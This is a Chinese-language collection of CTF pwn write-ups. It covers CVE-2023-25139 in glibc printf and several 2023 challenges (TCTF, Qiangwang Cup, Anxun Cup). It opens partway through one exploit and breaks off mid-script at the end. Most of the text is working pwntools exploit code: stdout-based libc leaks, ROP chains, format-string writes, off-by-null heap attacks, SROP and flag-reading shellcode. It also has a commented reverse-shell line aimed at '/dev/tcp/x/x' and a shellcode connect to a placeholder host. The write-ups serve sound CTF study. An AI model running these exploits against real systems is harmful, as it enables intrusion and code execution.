pl = 'GET /show?' + 'username=' + name + '&password=' + pawd + '\nStdout: ' + str(fd) + '\n'
sl(pl)
def edit(name, pawd, size, data, fd):
pl = b'POST /note?' + b'username=' + name + b'&password=' + pawd + b'\nContent-Length: ' + str(size).encode() + b'\nStdout: ' + str(fd).encode() + b'\n'
sl(pl)
sleep(1)
s(data)
def exit_():
pl = 'GET /poweroff\n'
sl(pl)

pas1 = init(3)
logoff('root', pas1.decode(), 3)#放入unsorted以此泄露
pas1 = init(3)
show('root', pas1.decode(), 1)
libc_base = l64() - 0x1f6ce0

reg('b', 'b', 0x3e8, 0x50, 3)
reg('c', 'b', 0x3e8, 0x50, 3)
logoff('c', 'b', 3)

setlocal('=' + 'en_US.UTF-8', 3)
#debug('b *$rebase(0x357c)\nb *$rebase(0x34f3)\n')
reg('a:b:0', '0', 0x3e8, 0x10, 3)
reg('c:c:0', '0', 0x3e8, 0x400, 3)

environ = libc_base + libc.sym['environ']
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
system, binsh = get_sb()
_IO_wfile_jumps = libc_base + 0x1f3240

#debug('b *$rebase(0x357c)')

pl = p64(0)*2 + b'a:b:0'.ljust(0x20, b'\x00') + p64(environ) #+ p64(0x400)
edit(b'c', b'c', len(pl), pl, 3)

#debug('b *$rebase(0x1a32)')

show('a', 'b', 2)

stack = l64()

#debug('b *$rebase(0x357c)')
pl = b'\x00'*0x80 + b'a:b:0'.ljust(0x20, b'\x00') + p64(stack - 0xca0) + p64(0x400)
edit(b'c', b'c', len(pl), pl, 3)

#debug('b *$rebase(0x357c)\nb *$rebase(0x34f3)\n')

rdi = libc_base + 0x240e5
rsi = libc_base + 0x2573e
rdx = libc_base + 0x26302
rax = libc_base + 0x40123
ret = libc_base + 0x23159
mprotect = libc_base + libc.sym['mprotect']

#pl = p64(ret) + p64(rdi) + p64(stack - 0xca0 + 0x20) + p64(system)
#pl += b'/bin/sh'
#pl += b'/bin/sh -i >& /dev/tcp/x/x 0>&1\x00'

#debug('b *$rebase(0x357c)')
pl = p64(rdi) + p64((stack >> 16) << 16) + p64(rsi) + p64(0x10000) + p64(rdx) + p64(0x7)
pl += p64(mprotect) + p64(stack - 0xca0 + 0x40)
pl += asm(shellcraft.connect('xx.xx.xx.xx.xx', xx) + shellcraft.open('/flag') + shellcraft.read(2, stack + 0x1000, 0x100) + shellcraft.write(1, stack + 0x1000, 0x100))

edit(b'a', b'b', len(pl), pl, 3)

lg('stack', stack)
lg('stdout', stdout)
lg('libc_base', libc_base)
#debug()
inter()

CVE-2023-25139

原文链接:

30068 – (CVE-2023-25139) incorrect printf output for integers with thousands separator and width field (CVE-2023-25139) (sourceware.org)

这个cve原理很简单

在glibc2.37的某些版本,例如Ubuntu GLIBC 2.37-0ubuntu1(Ubuntu GLIBC 2.37-0ubuntu2就修复了)

当调用setlocale函数

如果设置LC_NUMERIC或LC_ALL为一个含有千位分割符的地区

1
2
3
4
5
6
7
8
9
10
11
12
13
#define __LC_CTYPE		 0
#define __LC_NUMERIC 1
#define __LC_TIME 2
#define __LC_COLLATE 3
#define __LC_MONETARY 4
#define __LC_MESSAGES 5
#define __LC_ALL 6
#define __LC_PAPER 7
#define __LC_NAME 8
#define __LC_ADDRESS 9
#define __LC_TELEPHONE 10
#define __LC_MEASUREMENT 11
#define __LC_IDENTIFICATION 12

例如”en_US.UTF-8”

然后在使用格式化字符串时,如果有“%-‘nd”,即使用数字分隔符左对齐n个字符位格式化一个整型

那么整型有几个千位分隔符,格式化的结果就会多出几位

例如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <locale.h>
#include <string.h>

int main (void)
{
char buf[strlen ("1234567890123:") + 1];
__builtin_memset (buf, 'x', sizeof (buf));
if (setlocale (6, "en_US.UTF-8"))
{
printf ("1234567890123:\n");
printf ("%-'13ld:\n", 1234567999L);
sprintf (buf, "%0+ -'13ld:", 1234567L);
for (size_t i = 0; i < strlen ("1234567890123:") + 1; i++)
{
printf ("%c", buf[i]);
}
printf ("\n");
}
return 0;
}

output,两个千位分隔符所以多出两个字符位

1
2
3
1234567890123:
+1,234,567 :
+1,234,567

因此如果sprintf使用这个格式化字符串,就有可能会造成缓冲区溢出

特别是缓冲区大小刚好的时候,因为sprintf会在拼接的格式化字符串后面置’\0’

rand

当随机数函数的种子是由rand(time(0))生成的

time(0)精确到秒,是可以被预测

所以只要在本地同一时间运行一个相同的获得随机数代码

那么我们就可以预测到生成的随机数

2023tctf-c00ledit

标签:stdout泄露libc|有符号溢出|ROP

题目介绍:Try the “edit” feature.

程序只提供了两个功能

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __fastcall sub_1354(__int64 a1, __int64 a2, __int64 a3, int a4)
{
int v4; // r12d
_QWORD *v6; // rbx

v4 = num_dword_40E4;
if ( (unsigned int)num_dword_40E4 > 0xF )
return puts("Enough!");
v6 = malloc(0x10uLL);
ptr_qword_4060[v4] = v6;
*v6 = 4096LL;
v6[1] = malloc(0x1000uLL);
__printf_chk(1LL, "Current node: %d\n", (unsigned int)v4);
++num_dword_40E4;
return a4;
}

每一次add item,会分配一个0x10chunk,用于记载大小和指针

edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int edit()
{
const char *v0; // rdi
__int64 idx; // rbp
__int64 offset; // rbx
int result; // eax

v0 = "No chance!";
if ( edittime_dword_40E0 > 16 )
return puts(v0);
__printf_chk(1LL, "Index: ");
v0 = "Invalid index!";
idx = readnum();
if ( !ptr_qword_4060[idx] )
return puts(v0);
__printf_chk(1LL, "Offset: ");
offset = readnum();
if ( offset + 7 >= *(_QWORD *)ptr_qword_4060[idx] )
{
v0 = "Invalid offset!";
return puts(v0);
}
__printf_chk(1LL, "Content: ");
result = read(0, (void *)(*(_QWORD *)(ptr_qword_4060[idx] + 8LL) + offset), 8uLL);// vuln
++edittime_dword_40E0;
return result;
}

edit时,能够自己指定edit的item和修改的偏移起始

程序没有输出item内容的功能

存在的漏洞点是,edit读入的下标索引的类型是有符号数,转化数字使用的是atol,也就是说没有对负数进行检测

因此如果item下标索引输入负数,就能够通过bss段上的stdout等指针修改对应的FILE结构体

又因为程序存在进入io链的输出函数,所以我们自然能够想到利用stdout泄露libc

通过IO_FILE的知识可以知道,当满足一些条件时能够输出__IO_write_base至__IO_write_ptr之间的内容

因此可以修改__IO_write_ptr指针

不过我们需要先对stdout的flag进行一些修改

它的flag&_IO_CURRENTLY_PUTTING标志位应该为1,IO_NO_WRITES为0,其他另行判断

确保IO_OVERFLOW不会修改我们写入的IO_write_ptr

以此泄露出libc

再之后,官方题解是利用_IO_obstack_jumps这个vtable表

还有一些选手是利用修改libc.so的got.plt

不过我选择的是再次利用stdout泄露environ,打rop

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import*

elf_path='./chall'

libc=ELF('./libc.so.6')


elf=ELF(elf_path)
context.binary=elf_path

context.log_level='debug'

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(cintent)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda name,addr :log.success('{} = {:#x}'.format(name, addr))


def dbg(script = 0):
if(script):
gdb.attach(p, script)
else:
gdb.attach(p)
pause()

def add():
sla(b'Your choice: ',b'1')

def edit(idx,offset,content):
sla(b'Your choice: ',b'3')
sla(b'Index: ',tbs(idx))
sla(b'Offset: ',tbs(offset))
sa(b'Content: ',content)

p=process(elf_path)
#p=remote('111.231.174.57',10101)
edit(-8,-131,p32(0xfbad0800))

edit(-8,-91,b'\x20')
p.recv(5)
libc.address=u64(p.recv(6).ljust(8,b'\x00'))-0x12f0-2205568
leak('libc',libc.address)

edit(-8,-91,p64(libc.sym['__environ']+8))
for i in range(6):
p.recv()

#p.recv(0x9f0+13)
p.recv(0xa03)

stack=u64(p.recv(6).ljust(8,b'\x00'))
leak('stack',stack)

add()
edit(0,-24,p64(stack-0x130))
#dbg()
edit(0,8,p64(next(libc.search(b'/bin/sh'))))
edit(0,24,p64(libc.sym['system']))
edit(0,16,p64(libc.address+0x2a3e6))
edit(0,0,p64(libc.address+0x2a3e5))
irt()

遇到使用索引却没有检测正负的都要当心

2023tctf-无中生有

标签:elf|vdso|可执行栈

题目介绍:

题目的意思很明确,让选手自己构建一个ELF上传到靶机运行

不过对ELF有不少要求

  1. 大小有限制
  2. 必须是静态链接
  3. 不能有syscall和int 80h
  4. 每个段不能同时有写和执行的权限

此外,启动ELF时还有继承的沙盒

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0c 0xc000003e if (A != ARCH_X86_64) goto 0014
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x11 0x00 0x00000000 if (A == read) goto 0021
0004: 0x15 0x10 0x00 0x0000000c if (A == brk) goto 0021
0005: 0x15 0x0f 0x00 0x000000e7 if (A == exit_group) goto 0021
0006: 0x15 0x0e 0x00 0x40000001 if (A == x32_write) goto 0021
0007: 0x15 0x0d 0x00 0x40000009 if (A == x32_mmap) goto 0021
0008: 0x15 0x0c 0x00 0x4000000b if (A == x32_munmap) goto 0021
0009: 0x15 0x00 0x0c 0x0000003b if (A != execve) goto 0022
0010: 0x20 0x00 0x00 0x00000014 A = filename >> 32 # execve(filename, argv, envp)
0011: 0x15 0x00 0x0a 0x00007fff if (A != 0x7fff) goto 0022
0012: 0x20 0x00 0x00 0x00000010 A = filename # execve(filename, argv, envp)
0013: 0x15 0x07 0x08 0xffffe29e if (A == 0xffffe29e) goto 0021 else goto 0022
0014: 0x15 0x00 0x07 0x40000003 if (A != ARCH_I386) goto 0022
0015: 0x20 0x00 0x00 0x00000000 A = sys_number
0016: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0021
0017: 0x15 0x03 0x00 0x00000006 if (A == lstat) goto 0021
0018: 0x15 0x00 0x03 0x00000005 if (A != fstat) goto 0022
0019: 0x20 0x00 0x00 0x00000018 A = statbuf # fstat(fd, statbuf)
0020: 0x15 0x00 0x01 0x00000000 if (A != 0x0) goto 0022
0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0022: 0x06 0x00 0x00 0x00000000 return KILL

这些要求其实挺苛刻的,大多数想法因该是让一个段可写可执行,自修改code,变幻出syscall

不过禁止一个段同时拥有写和执行的权限便断了这条路

也有人提到利用elf映射机制将两块物理不相邻的段映射到一起,不过貌似比较难实现

解1:

解1的思路,是利用栈必然是要可读可写的

因此,在内核加载elf的判断中只判断了stack段是否有执行权限,而不关注读和写权限

load_elf_binary的源代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* Stack area protections */
#define EXSTACK_DEFAULT 0 /* Whatever the arch defaults to */
#define EXSTACK_DISABLE_X 1 /* Disable executable stacks */
#define EXSTACK_ENABLE_X 2 /* Enable executable stacks */

int executable_stack = EXSTACK_DEFAULT;
......
for (i = 0; i < loc->elf_ex.e_phnum; i++, elf_ppnt++)
switch (elf_ppnt->p_type) {
case PT_GNU_STACK:
if (elf_ppnt->p_flags & PF_X)
executable_stack = EXSTACK_ENABLE_X;
else
executable_stack = EXSTACK_DISABLE_X;
break;
......

即就算将stack段的权限设置为—x,那么实际运行时权限也是rwx

以此就饶过了不能同时又写和执行权限这个检查

ELF十六进制:

1
7F454C4602010100000000000000000002003E0001000000B00040000000000040000000000000001001000000000000000000004000380002004000030002000100000005000000000000000000000000004000000000000000400000000000F500000000000000F500000000000000000020000000000051E574640100000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000048C7C0A2DBC3004835ADDE0000504989E04831F64831D25248C7C0666C6167504889E74831C0B00241FFD04889C74889E6B230B00041FFD04831FFBF01000000B00141FFD00000002E7368737472746162002E74657874000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000B000000010000000600000000000000B000400000000000B0000000000000004700000000000000000000000000000010000000000000000000000000000000010000000300000000000000000000000000000000000000F7000000000000004700000000000000000000000000000001000000000000000000000000000000

解2:

解2的思路是利用程序启动时存在的vdso段

在vdso段中存在天然的syscall ret gadget

不过如何确定vdso的地址,

方法1是vdso的随机化范围很小,可以尝试爆破

方法2是在栈上能够找到指向vdso的指针,确定偏移就是

seccomp-tools检测带参数elf

在用seccomp-tools的过程中需要注意的是如果程序需要参数的话,可能就会分析失败。

例如本题

此时最佳办法是在prctl函数设置断点,然后dump第三个指针参数对应的内存。

之后再用disasm功能

1
seccomp-tools disasm dumpfile

2023强网杯-ez_fmt

标签:格式化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[88]; // [rsp+0h] [rbp-60h] BYREF
unsigned __int64 v5; // [rsp+58h] [rbp-8h]

v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
printf("There is a gift for you %p\n", buf);
read(0, buf, 0x30uLL);
if ( w == 0xFFFF )
{
printf(buf);
w = 0;
}
return 0;
}

格式化字符串漏洞,给了libc,会给栈地址

为了不让w = 0执行,选择修改printf的返回地址

返回到read处,因为单次长度有限,所以多次利用格式化字符串漏洞,

以此泄露libc并修改main的返回地址为one_gadget

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import*

elf_path='./ez_fmt'

libc=ELF('./libc-2.31.so')


elf=ELF(elf_path)
context.binary=elf_path

#context.log_level='debug'

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

def dbg(script = 0):
if(script):
gdb.attach(p, script)
else:
gdb.attach(p)
pause()


p=process(elf_path)
#p=remote('47.104.24.40',1337)
#gdb.attach(p)
stack=int(ru(b'\n',drop=True)[-12:],16)

leak('stack',stack)

payload=b'%176c%10$hhn%16224c%11$hn%19$paa'
payload+=p64(stack-8)+p64(stack-7)

#dbg()
s(payload)
ru(b'0x')
libc.address=int(r(12),16)-libc.sym['__libc_start_main']-243
stack2=int(ru(b'\n',drop=True)[-12:],16)

leak('stack2',stack2)
leak('libc',libc.address)
leak('startmain',libc.sym['__libc_start_main']+243)

one=libc.address+0xe3b01
leak('one',one)
one=p64(one)
#irt()
payload='%{}c%9$hhn%{}c%10$hn'.format(one[2],one[1]*0x100+one[0]-one[2]).ljust(24,'a').encode()
payload+=p64(stack2+0x68+2)+p64(stack2+0x68)
#dbg()
s(payload)

irt()

2023强网杯-warmup23

标签:off-by-null|tcache attack

保护机制全部开启,存在沙盒,libc是2.35版本

静态分析可以看出是常规的菜单题

但是并没有edit

看主要的add函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
unsigned __int64 add()
{
int i; // [rsp+Ch] [rbp-14h]
int v2; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
for ( i = 0; i <= 18 && *((_QWORD *)&unk_4040 + i); ++i )
;
if ( i == 19 )
{
puts("FUll!");
}
else
{
printf("Size: ");
v2 = getnum();
if ( v2 <= 0 || v2 > 0xFFFF )
{
puts("Error!");
}
else
{
*((_QWORD *)&unk_4040 + i) = malloc(v2);
if ( !*((_QWORD *)&unk_4040 + i) )
{
puts("Error!");
_exit(0);
}
printf("Note: ");
*(_BYTE *)(*((_QWORD *)&unk_4040 + i) + (int)read(0, *((void **)&unk_4040 + i), v2)) = 0;// off-by-null
puts("Success~");
}
}
return v3 - __readfsqword(0x28u);
}

malloc后即往其中输入数据,存在off-by-null,但也正是这个off-by-null使得无法有效的泄露

因此需要用到2.29及以上的off-by-null手法

glibc2.29+的off by null利用 - 跳跳糖

核心思想是利用部分写修改残余链信息以满足unlink条件,最终目标依然是搞出chunk overlap

并通过大chunk切割后remainer部分放入unsortedbin制造fd,bk泄露libc,heap则可以通过unlink后更新的bk指针泄露,当然也可以释放掉刚才申请的chunk,并再往unsortedbin中释放一个chunk再次切割,使得产生的fd,bk包含heap从而泄露,不过这样更麻烦

overlap之后就可以利用其中的barrier去uaf打tcache attack从而任意写(依然无法任意读.不过用任意写stdout可以做到)

再之后做法就多样了可以

  1. 任意写stdout,构造io利用链,使用puts等io函数触发io利用链
  2. stdout泄露environ,打rop

个人选择方案1,利用obstack链进行攻击,布置好结构后,首先用

#mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];gadget完成rdi与rdx的互相交换

之后去执行setcontext+61完成mprotect返回到shellcode处执行orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
from pwn import *
#context.log_level = 'debug'
context.arch = 'amd64'

def add(size,content=b"A"):
p.sendlineafter(b">> ",b"1")
p.sendlineafter(b"Size: ",str(size))
p.sendafter(b"Note: ",content)

def show(idx):
p.sendlineafter(b">> ",b"2")
p.sendlineafter(b"Index: ",str(idx))

def delete(idx):
p.sendlineafter(b">> ",b"3")
p.sendlineafter(b"Index: ",str(idx))

libc=ELF('./libc.so.6')
p = process("./warmup")
#p=remote('120.24.69.11',12700)
add(0x418, b"A"*0x100) #0 A = P->fd
add(0x108-0x20) #1 barrier
add(0x438, b"B0"*0x100) #2 B0 helper
add(0x438, b"C0"*0x100) #3 C0 = P , P&0xff = 0
add(0x108,b'4'*0x100) #4 barrier
add(0x488, b"H"*0x100) # H0. helper for write bk->fd. vitcim chunk.
add(0x428, b"D"*0x100) # 6 D = P->bk
add(0x108) # 7 barrier

# step 2 use unsortedbin to set p->fd =A , p->bk=D
delete(0) # A
delete(3) # C0
delete(6) # D
# unsortedbin: D-C0-A C0->FD=A
delete(2) # merge B0 with C0. preserve p->fd p->bk
add(0x458, b'a' * 0x438 + p64(0x551)[:-2]) #0 put A,D into largebin, split BC. use B1 to set p->size=0x551
# recovery
add(0x418) #2 C1 from ub
add(0x428) #3 bk D from largebin
add(0x418,b"0"*0x100) #6 fd A from largein

# step3 use unsortedbin to set fd->bk
# partial overwrite fd -> bk
delete(6) # A=P->fd
delete(2) # C1
# unsortedbin: C1-A , A->BK = C1
add(0x418, b'a' * 8) # 2 partial overwrite bk A->bk = p
add(0x418) #6

# step4 use ub to set bk->fd
delete(6) # C1
delete(3) # D=P->bk
# ub-D-C1 D->FD = C1
delete(5) # merge D with H, preserve D->fd
add(0x500-8, b'6'*0x488 + p64(0x431)) #3 H1. bk->fd = p, partial write \x00
add(0x3b0) #5 recovery

# step5 off by null
delete(4)
add(0x108,0x100*b'4' + p64(0x550))#4

delete(3) # merge H1 with C0. trigger overlap C0,4,6
gdb.attach(p)
pause()
add(0x438)#3 put libc to chunk 4
show(4)
p.recvuntil(b"Note: ")
libc.address = u64(p.recvline(False).ljust(8,b'\x00')) - (0x7ffff7facce0-0x7ffff7d93000)
print(hex(libc.address))
system_addr = libc.symbols['system']
delete(3)
add(0x458, 0x438*b'6'+p64(0x111)) # fix size for chunk 4. 6 overlap 4
delete(7) # tcache
delete(4) # tcache

show(2)
p.recvuntil(b"Note: aaaaaaaa")
heap = u64(p.recvline(False).ljust(8,b'\x00')) - (0x5555555605e0- 0x55555555f000)
print(hex(heap))

gadget=0x167230
#mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
#target=0x1234 #要写入的地址
delete(3)
add(0x458,0x438*b'6'+p64(0x111)+p64(((heap>>12)+1)^(libc.sym['_IO_2_1_stdout_']+0xc0)))#3 fd需要用heap处理
delete(2)
aim=heap+0x2c0
setcontext=libc.sym['setcontext']+61
mprotect=libc.sym['mprotect']
shellcode = ''
shellcode += shellcraft.open('./flag')
shellcode += shellcraft.read(3,aim,0x100)
shellcode += shellcraft.write(1,aim,0x100)
payload3 = asm(shellcode)
payload1=flat(
{ 0xa8:mprotect,
0x68:heap,
0x70:0x1000,
0x88:7,
0x8:aim,
0x78:heap+0x1000,
0x20:setcontext,
0xa0:aim+0x148,
0x108:1,
0x110:0,
0x138:aim,
0x128:libc.address+gadget,
0x118:1,
0x120:0,
0x140:1,
},
filler = '\x00'
)
add(0x418,payload1+p64(aim+0x150)+payload3)
add(0x100,b'111')
gdb.attach(p,'''
source ./libcdbg/loadsym.py
loadsym /home/aichch/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/.debug/.build-id/89/c3cb85f9e55046776471fed05ec441581d1969.debug
b puts
b printf
'''
)
pause()
add(0x100,p32(0xffffffff)+b'\x00'*20+p64(libc.address+0x2163c0)+p64(aim+0xf0)[:6])


p.interactive()

flat的使用

flat是pwntools提供的数据平坦化函数,会自动转化小端序,不过要提前指定ARCH,否则默认4字节

在构造setcontext,fake_io时可以提供便利

以本题为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
flat(
{ 0xa8:mprotect,
0x68:heap,
0x70:0x1000,
0x88:7,
0x8:aim,
0x78:heap+0x1000,
0x20:setcontext,
0xa0:aim+0x148,
0x108:1,
0x110:0,
0x138:aim,
0x128:libc.address+gadget,
0x118:1,
0x120:0,
0x140:1,
},
filler = '\x00',
length=0x148
)

模板

1
2
3
4
5
6
flat(
{
偏移(可不按顺序):值(自动小端序),
},
filler = '\x00'#指定填充数据,不指定的话默认用cyclic生成填充
)

要对单个字节操作的话,也是一样的,不过要用b前缀偏移:b'x'

2023安洵杯-side-channel

标签:侧信道爆破|shellcode构造

保护没开pie和canary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__int64 sub_40136E()
{
char v1[10]; // [rsp+6h] [rbp-2Ah] BYREF
_QWORD v2[4]; // [rsp+10h] [rbp-20h] BYREF

v2[0] = 'onk u oD';
v2[1] = 'i tahw w';
v2[2] = '\n?DIUS s';
strcpy(v1, "easyhack\n");
syscall(1LL, 1LL, v1, 9LL);
syscall(0LL, 0LL, &unk_404060, 4096LL);
syscall(1LL, 1LL, v2, 24LL);
sandbox();
syscall(0LL, 0LL, v1, 58LL);
return 0LL;
}

一眼栈迁移rop,有沙盒

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0a 0xc000003e if (A != ARCH_X86_64) goto 0012
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x07 0xffffffff if (A != 0xffffffff) goto 0012
0005: 0x15 0x05 0x00 0x00000000 if (A == read) goto 0011
0006: 0x15 0x04 0x00 0x00000002 if (A == open) goto 0011
0007: 0x15 0x03 0x00 0x0000000a if (A == mprotect) goto 0011
0008: 0x15 0x02 0x00 0x0000000f if (A == rt_sigreturn) goto 0011
0009: 0x15 0x01 0x00 0x0000005a if (A == chmod) goto 0011
0010: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x06 0x00 0x00 0x00000000 return KILL

只允许了这几个调用,可以看到没有write结合题目名字,猜测是要侧信道爆破

找了一下发现没有可利用的gadget

那么要控制参数只能靠rt_sigreturn系统调用了

但问题又来了如何触发这个系统调用,一个想法是read读取15个字符,但可以观察到主函数中的所用系统调用在使用完后都会mov eax,0

那么显然不行,不过可以在程序中找到另一个syscall

0x40118A#syscall; nop; pop rbp; ret;

但还有一个问题,即如何完成read系统调用的布置,之前已经说过程序中并没有这样的gadget可以利用,但我们可以发现在原程序最后ret的时候,rdi,rsi,rdx三个寄存器依然保持着最后一个系统调用read的状态,那么直接syscall触发读取15个字节即可,之后再返回到syscall触发srop

然后执行mprotect修改bss段权限,执行open和read,并增加一段shellcode用于逐个字符爆破

1
2
3
4
5
6
7
shellcode+='''
mov rax,{}
mov bl,[rax]
cmp bl,{}
jz 0x404000
jmp $-0
'''.format(0x404800+pos,char)

如果相等则会直接段错误,但如果不等则会无限循环,等待程序处理

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pwn import*

elf_path='./chall'

libc=ELF('./libc.so.6')


elf=ELF(elf_path)
context.binary=elf_path

#context.log_level='debug'

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

def dbg(script = ''):
if(script):
gdb.attach(p, script)
else:
gdb.attach(p)
pause()


def pwn(pos,char):
r()
shellcode=shellcraft.chmod('file',0o777)
shellcode+=shellcraft.open('flag')
shellcode+=shellcraft.read(3,0x404800,64)
shellcode+='''
mov rax,{}
mov bl,[rax]
cmp bl,{}
jz 0x404000
jmp $-0
'''.format(0x404800+pos,char)

sigframe = SigreturnFrame()
sigframe.rax=0xa
sigframe.rdi=0x404000
sigframe.rsi=0x1000
sigframe.rdx=0x7
sigframe.rip=syscall_ret
sigframe.rsp=0x404460

payload=p64(0x404460)+p64(syscall_ret)+p64(0x404460)+p64(syscall_ret)+bytes(sigframe)
payload=payload.ljust(0x400,b'\x00')
payload+=p64(0x404460)+p64(0x404470)
payload+=asm(shellcode,vma=0x400000)#pwntools asm带跳转的代码需要指定基址vma
s(payload)

payload=b'a'*0x2a+p64(0x404060)+p64(lr)
#dbg()
s(payload)
sleep(0.01)
s(b'f'*0xf)
#pause()
flag=""
string=b"0123456789abcdef}"

lr=0x401446
syscall_ret=0x40118A#syscall; nop; pop rbp; ret;
pos=0
b=0
while True:
time=0
for i in string:
print('pos:{} time:{}'.format(pos,time))
#p=process(elf_path)
p=remote('47.108.206.43',26052)
pwn(pos,i)
r()
time+=1
if chr(i)=='}':
b=1
break
try:
p.recv(timeout = 1)
p.close()
except:
flag += chr(i)
print(flag)
p.close()
break
if b==1 :
break
pos+=1
print('success:'+flag)

# 23099102-a168-11ee-8c62-00163e0447d0

2023安洵杯-seccomp

标签:沙盒|rop

上一题的弱化版,不过远程打不开flag是什么鬼

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import*

elf_path='./chall'

libc=ELF('./libc.so.6')


elf=ELF(elf_path)
context.binary=elf_path

context.log_level='debug'

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

def dbg(script = ''):
if(script):
gdb.attach(p, script)
else:
gdb.attach(p)
pause()

flag=0x404178
lr=0x40136c
syscall_ret=0x40118A#syscall; nop; pop rbp; ret;
p=process(elf_path)
#p=remote('47.108.206.43',43800)
pop_rax_ret=0x3f587
pop_rdi_ret=0x27c65
pop_rdx_ret=0xfd68d
pop_rsi_ret=0x29419
syscall=0x853b2

def pwn():
r()

sigframe = SigreturnFrame()
sigframe.rax=1
sigframe.rdi=0x1
sigframe.rsi=0x403fd8
sigframe.rdx=0x8
sigframe.rip=syscall_ret
sigframe.rsp=0x404460

payload=p64(0x404460)+p64(syscall_ret)+p64(0x404460)+p64(syscall_ret)+bytes(sigframe)+b'flag\0'+b'\0'*3+b'chall\0'
payload=payload.ljust(0x400,b'\x00')
payload+=p64(0x404460)+p64(0x4013D4)
s(payload)

payload=b'a'*0x2a+p64(0x404060)+p64(lr)

#dbg()
